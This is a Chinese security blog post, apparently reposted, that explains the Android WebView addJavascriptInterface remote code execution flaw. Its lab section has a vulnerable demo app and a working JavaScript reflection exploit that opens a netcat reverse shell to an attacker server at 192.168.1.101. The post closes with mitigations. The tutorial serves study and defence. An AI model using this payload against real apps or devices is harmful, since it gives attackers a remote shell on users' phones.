WebView 安全之 addJavascriptInterface

WebView 安全之 addJavascriptInterface

96 不會寫代碼的IT男 關注

2016.01.03 18:14* 字數 474 閱讀 5668評論 0喜歡 3

0x00 addJavascriptInterface介紹


WebView是Android平臺下的一個重要組件,通常用來在Activity中嵌入一個簡單的瀏覽器,實現在線網頁瀏覽的功能。比如下面代碼實現訪問Google頁面:

WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.google.com");

爲了與Web頁面實現動態交互,Android應用程序允許WebView通過WebView.addJavascriptInterface接口向Web頁面注入Java對象,頁面Javascript腳本可直接引用該對象並調用該對象的方法。

//Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil")
...
//Javascript code
<script type="text/javascript">
filename = '/mnt/sdcard/test.txt';
FUtil.write(filename, data, false);
</script>

在Android <=4.1.2 (API 16),WebView使用WebKit瀏覽器引擎,並未正確限制addJavascriptInterface的使用方法,在應用權限範圍內,攻擊者可以通過Java反射機制實現任意命令執行。
在Android >=4.2 (API 17),WebView使用Chromium瀏覽器引擎,並且限制了Javascript對Java對象方法的調用權限,只有聲明瞭@JavascriptInterace註解的方法才能被Web頁面調用。

0x01 實驗: 遠程獲得shell


實驗環境

  • Nexus 5 API 16 arm
  • compileSdkVersion 23
  • Android Studio

測試App代碼

AndroidManifest.xml文件聲明App網絡訪問權限:

<uses-permission android:name="android.permission.INTERNET"></uses-permission>

MainActivity.java中聲明WebView對象並向頁面注入Java對象WebAppInterface,最後訪問本地Web服務器:

WebView mywebview = (WebView)findViewById(R.id.webView);
/** Make javascript runable */
mywebview.getSettings().setJavaScriptEnabled(true);
mywebview.addJavascriptInterface(new WebAppInterface(this), "interfaceObject");
mywebview.loadUrl("http://192.168.1.101");

WebAppInterface對象定義如下(對象爲空即可):

public class WebAppInterface {    
 }

Web頁面JS代碼

<script type="text/javascript">
function check()
{
  for (var obj in window)
   {
      try {
            if ("getClass" in window[obj]) {
                   try{
                         ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
                   }catch(e){
                        }
            }
      } catch(e) {
                 }
   }
} check();
</script>

在Javascript代碼中,利用Java反射機制,通過interfaceObject獲取當前Runtime對象引用,並調用其exec方法執行nc命令連接服務器8088及8089端口。

實驗步驟

  • 服務器通過ncat監聽8088,8089端口

     

     

  • 打開測試App
  • 通過8088端口發送遠程命令,通過8089端口回顯結果

     

0x02 其他攻擊手法


  • iframe劫持

     

0x03 解決方法


  • 升級系統至Android 4.2以上;
  • 儘量不使用addJavascriptInterface;

0x04 參考文檔


轉自:https://www.jianshu.com/p/6309d243e4c0

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章